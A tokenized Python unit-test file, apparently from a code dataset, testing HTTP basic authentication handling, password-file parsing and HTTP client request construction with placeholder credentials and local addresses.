"\\u\\u\\uNL\\u\\u\\u_", "http_", "._", "auth_", "._", "Http", "Server", "Request", "Authentication_", "._", "Verify", "Basic", "Auth", "Password_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "username_", ",_", "password_", ",_", "self_", "._", "password_", ",_", "realm_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Http", "Server", "Request", "Authentication_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Http", "Server", "Request", "Authentication_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test", "No", "Auth_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "None_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "Fake", "Request", "Auth_", "(_", "\"", "area", "1", "\"_", ",_", "False_", ",_", "None_", ")_", "._", "Pre", "Handle", "Request_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Http", "Server", "Request", "Authentication_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "No", "Realm", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "http_", "._", "HTTP", "\\u", "AUTHORIZATION", "_", ":_", "\"\"_", ",_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "headers_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ac_", "=_", "\\u", "Simple", "Authenticator", "_", "(_", "\"", "foo", "\"_", ",_", "\"", "bar", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ra_", "=_", "\\u", "Fake", "Request", "Auth_", "(_", "None_", ",_", "False_", ",_", "ac_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Assert", "ion", "Error_", ",_", "ra_", "._", "Pre", "Handle", "Request_", ",_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Http", "Server", "Request", "Authentication_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "No", "Scheme_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "http_", "._", "HTTP", "\\u", "AUTHORIZATION", "_", ":_", "\"\"_", ",_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "headers_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ac_", "=_", "\\u", "Simple", "Authenticator", "_", "(_", "\"", "foo", "\"_", ",_", "\"", "bar", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ra_", "=_", "\\u", "Fake", "Request", "Auth_", "(_", "\"", "area", "1", "\"_", ",_", "False_", ",_", "ac_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "http_", "._", "Http", "Unauthorized_", ",_", "ra_", "._", "Pre", "Handle", "Request_", ",_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Http", "Server", "Request", "Authentication_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Un", "know", "n", "Scheme_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "http_", "._", "HTTP", "\\u", "AUTHORIZATION", "_", ":_", "\"", "New", "Style", "Auth", " ", "abc", "\"_", ",_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "headers_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ac_", "=_", "\\u", "Simple", "Authenticator", "_", "(_", "\"", "foo", "\"_", ",_", "\"", "bar", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ra_", "=_", "\\u", "Fake", "Request", "Auth_", "(_", "\"", "area", "1", "\"_", ",_", "False_", ",_", "ac_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "http_", "._", "Http", "Unauthorized_", ",_", "ra_", "._", "Pre", "Handle", "Request_", ",_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Http", "Server", "Request", "Authentication_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Inva", "lid", "Base", "64_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "http_", "._", "HTTP", "\\u", "AUTHORIZATION", "_", ":_", "\"", "Basic", " ", "x", "\\u", "=", "\\u\"_", ",_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "headers_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ac_", "=_", "\\u", "Simple", "Authenticator", "_", "(_", "\"", "foo", "\"_", ",_", "\"", "bar", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ra_", "=_", "\\u", "Fake", "Request", "Auth_", "(_", "\"", "area", "1", "\"_", ",_", "False_", ",_", "ac_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "http_", "._", "Http", "Ba", "d", "Request_", ",_", "ra_", "._", "Pre", "Handle", "Request_", ",_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Http", "Server", "Request", "Authentication_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Auth", "For", "Public", "Resource_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "http_", "._", "HTTP", "\\u", "AUTHORIZATION", "_", ":_", "\"", "Basic", " ", "%", "s", "\"_", "%_", "(_", "\"", "foo", "\"_", "._", "encode_", "(_", "\"", "base64", "\"_", ")_", "._", "strip_", "(_", ")_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "headers_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ra_", "=_", "\\u", "Fake", "Request", "Auth_", "(_", "\"", "area", "1", "\"_", ",_", "False_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "http_", "._", "Http", "Unauthorized_", ",_", "ra_", "._", "Pre", "Handle", "Request_", ",_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Http", "Server", "Request", "Authentication_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Auth", "For", "Public", "Resource_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "http_", "._", "HTTP", "\\u", "AUTHORIZATION", "_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Basic", " ", "%", "s", "\"_", "%_", "(_", "\"", "foo", ":", "bar", "\"_", "._", "encode_", "(_", "\"", "base64", "\"_", ")_", "._", "strip_", "(_", ")_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "headers_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ac_", "=_", "\\u", "Simple", "Authenticator", "_", "(_", "\"", "foo", "\"_", ",_", "\"", "bar", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ra_", "=_", "\\u", "Fake", "Request", "Auth_", "(_", "\"", "area", "1", "\"_", ",_", "False_", ",_", "ac_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ra_", "._", "Pre", "Handle", "Request_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "req_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "headers_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ac_", "=_", "\\u", "Simple", "Authenticator", "_", "(_", "\"", "somet", "hing", "\"_", ",_", "\"", "else", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ra_", "=_", "\\u", "Fake", "Request", "Auth_", "(_", "\"", "area", "1", "\"_", ",_", "False_", ",_", "ac_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "http_", "._", "Http", "Unauthorized_", ",_", "ra_", "._", "Pre", "Handle", "Request_", ",_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Http", "Server", "Request", "Authentication_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Inva", "lid", "Request", "Header_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "checks_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "http_", "._", "Http", "Unauthorized_", ":_", "[_", "\"\"_", ",_", "\"\\\\", "t", "\"_", ",_", "\"-\"_", ",_", "\".\"_", ",_", "\"@\"_", ",_", "\"<\"_", ",_", "\">\"_", ",_", "\"", "Dig", "est", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "basic", " ", "%", "s", "\"_", "%_", "\"", "fooba", "r", "\"_", "._", "encode_", "(_", "\"", "base64", "\"_", ")_", "._", "strip_", "(_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "http_", "._", "Http", "Ba", "d", "Request_", ":_", "[_", "\"", "Basic", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ac_", "=_", "\\u", "Simple", "Authenticator", "_", "(_", "\"", "foo", "\"_", ",_", "\"", "bar", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "exc_", ",_", "headers_", "in_", "checks_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "headers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "http_", "._", "HTTP", "\\u", "AUTHORIZATION", "_", ":_", "i_", ",_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "headers_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ra_", "=_", "\\u", "Fake", "Request", "Auth_", "(_", "\"", "area", "1", "\"_", ",_", "False_", ",_", "ac_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exc_", ",_", "ra_", "._", "Pre", "Handle", "Request_", ",_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Http", "Server", "Request", "Authentication_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Basic", "Auth_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "user_", "in_", "[_", "\"\"_", ",_", "\"", "jo", "e", "\"_", ",_", "\"", "user", " ", "name", " ", "with", " ", "space", "s", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "pw_", "in_", "[_", "\"\"_", ",_", "\"-\"_", ",_", "\":\"_", ",_", "\"", "fooba", "r", "\"_", ",_", "\"", "Foo", " ", "Bar", " ", "Baz", "\"_", ",_", "\"@", "@@", "\"_", ",_", "\"###", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "foo", ":", "bar", ":", "ba", "z", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "wrong", "\\u", "pw_", "in_", "[_", "True_", ",_", "False_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "basic", "\\u", "auth_", "=_", "\"%", "s", ":", "%", "s", "\"_", "%_", "(_", "user_", ",_", "pw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "wrong", "\\u", "pw_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "basic", "\\u", "auth_", "+=_", "\"", "WRON", "G", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "http_", "._", "HTTP", "\\u", "AUTHORIZATION", "_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Basic", " ", "%", "s", "\"_", "%_", "(_", "basic", "\\u", "auth_", "._", "encode_", "(_", "\"", "base64", "\"_", ")_", "._", "strip_", "(_", ")_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "http_", "._", "server_", "._", "\\u", "Http", "Server", "Request_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "headers_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ac_", "=_", "\\u", "Simple", "Authenticator", "_", "(_", "user_", ",_", "pw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "ac_", "._", "called_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ra_", "=_", "\\u", "Fake", "Request", "Auth_", "(_", "\"", "area", "1", "\"_", ",_", "True_", ",_", "ac_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "wrong", "\\u", "pw_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ra_", "._", "Pre", "Handle", "Request_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "http_", "._", "Http", "Unauthorized_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "www", "\\u", "auth_", "=_", "err_", "._", "headers_", "[_", "http_", "._", "HTTP", "\\u", "WW", "W", "\\u", "AUTH", "ENTI", "CATE", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "www", "\\u", "auth_", "._", "startswith_", "(_", "http_", "._", "auth_", "._", "HTTP", "\\u", "BASIC", "\\u", "AUTH_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Di", "dn", "'", "t", " ", "raise", " ", "Http", "Una", "uthor", "ize", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ra_", "._", "Pre", "Handle", "Request_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "ac_", "._", "called_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Read", "Passw", "ord", "File_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Read", "Passw", "ord", "File_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test", "Simple_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "users_", "=_", "users", "\\u", "file_", "._", "Pars", "e", "Passw", "ord", "File_", "(_", "\"", "user", "1", " ", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "users_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "users_", "[_", "\"", "user", "1", "\"_", "]_", "._", "password_", ",_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "users_", "[_", "\"", "user", "1", "\"_", "]_", "._", "options_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Read", "Passw", "ord", "File_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Options_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "buf_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "buf_", "._", "write_", "(_", "\"#", " ", "Passw", "ords", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "buf_", "._", "write_", "(_", "\"", "user", "1", " ", "password", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "buf_", "._", "write_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "buf_", "._", "write_", "(_", "\"#", " ", "Comme", "nt", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "buf_", "._", "write_", "(_", "\"", "user", "2", " ", "pw", " ", "write", ",", "read", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "buf_", "._", "write_", "(_", "\"", " ", " ", " ", "\\\\", "t", "#", " ", "Ano", "ther", " ", "comment", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "buf_", "._", "write_", "(_", "\"", "invalid", "line", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "users_", "=_", "users", "\\u", "file_", "._", "Pars", "e", "Passw", "ord", "File_", "(_", "buf_", "._", "getvalue_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "users_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "users_", "[_", "\"", "user", "1", "\"_", "]_", "._", "password_", ",_", "\"", "password", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "users_", "[_", "\"", "user", "1", "\"_", "]_", "._", "options_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "users_", "[_", "\"", "user", "2", "\"_", "]_", "._", "password_", ",_", "\"", "pw", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "users_", "[_", "\"", "user", "2", "\"_", "]_", "._", "options_", ",_", "[_", "\"", "write", "\"_", ",_", "\"", "read", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Client", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test", "Repr", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cr_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "local", "host", "\"_", ",_", "1234_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "[_", "]_", ",_", "post", "\\u", "data_", "=_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "repr_", "(_", "cr_", ")_", "._", "startswith_", "(_", "\"<\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "No", "Headers_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cr_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "local", "host", "\"_", ",_", "1234_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "isinstance_", "(_", "cr_", "._", "headers_", ",_", "list_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cr_", "._", "headers_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cr_", "._", "url_", ",_", "\"", "https", "://", "local", "host", ":", "1234", "/", "version", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Plai", "n", "Address", "IP", "v4_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cr_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "192", ".0", ".2", ".9", "\"_", ",_", "1995", "6_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cr_", "._", "url_", ",_", "\"", "https", "://", "192", ".0", ".2", ".9", ":", "1995", "6", "/", "version", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", 